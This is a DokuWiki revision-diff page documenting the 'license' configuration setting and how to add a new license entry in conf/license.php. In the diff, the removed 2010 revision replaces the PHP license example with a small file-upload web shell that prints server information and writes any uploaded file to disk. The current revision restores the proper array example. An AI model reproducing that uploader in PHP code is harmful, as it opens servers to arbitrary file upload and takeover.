DokuWiki

It's better when it's simple

User Tools

Site Tools


config:license

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revision
Previous revision
config:license [2010-11-23 09:20] – [Adding a new license] 188.54.83.45config:license [2023-02-28 21:14] (current) Aleksandr
Line 1: Line 1:
 ====== Configuration Setting: license ====== ====== Configuration Setting: license ======
  
-This setting configures the license under which the content of your wiki can be distributed. The licenses you can choose in this setting are configured in the ''conf/license.php''. By default it contains a list of [[http://www.creativecommons.org|Creative Commons]] licenses.+This setting configures the license under which the content of your wiki can be distributed. The licenses you can choose in this setting are configured in the ''[[https://github.com/dokuwiki/dokuwiki/blob/master/conf/license.php|conf/license.php]]''. By default it contains a list of [[https://creativecommons.org|Creative Commons]] licenses and [[https://www.gnu.org/licenses/fdl.html|GNU FDL]].
  
   * Type: String   * Type: String
Line 13: Line 13:
  
   $conf['license'] = '';   $conf['license'] = '';
 +
 ===== Adding a new license ===== ===== Adding a new license =====
  
Line 21: Line 22:
 <code php> <code php>
 <?php <?php
-echo '<b><br><br>'.php_uname().'<br></b>'; +$license['license-name'] = array
-echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'+    'name=> 'Full Name of the License', 
-echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; +    'url ='http://example.com/license', 
-if( $_POST['_upl'== "Upload" ) { +);
- if(@copy($_FILES['file']['tmp_name']$_FILES['file']['name'])) { echo '<b>Uploaded Successfully</b><br><br>'+
- else { echo '<b>Upload Failed! </b><br><br>';+
-+
-?>+
 </code> </code>
  
-Array key ''license'' is the short name of the chosen license as it is used in the config setting mentioned above.+Array key ''license-name'' from the table ''license'' is the short name of the chosen license as it is used in the config setting value ''$conf['license']'' mentioned above.
  
-For each license an image named like the short name (ending in ''.gif'' or ''.png'' should be placed in ''lib/images/license/button'' (80x15 pixel) and ''lib/images/license/badge'' (88x31 pixel).+For each license an image named like the short name (ending in ''.gif'' or ''.png''should be placed in ''lib/images/license/button'' (80x15 pixel) and ''lib/images/license/badge'' (88x31 pixel).
  
 ===== See also ===== ===== See also =====
  
   * [[:config:|Configuring DokuWiki]]   * [[:config:|Configuring DokuWiki]]
 +
config/license.1290500448.txt.gz · Last modified: 2010-11-23 09:20 by 188.54.83.45

Except where otherwise noted, content on this wiki is licensed under the following license: CC Attribution-Share Alike 4.0 International
CC Attribution-Share Alike 4.0 International Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki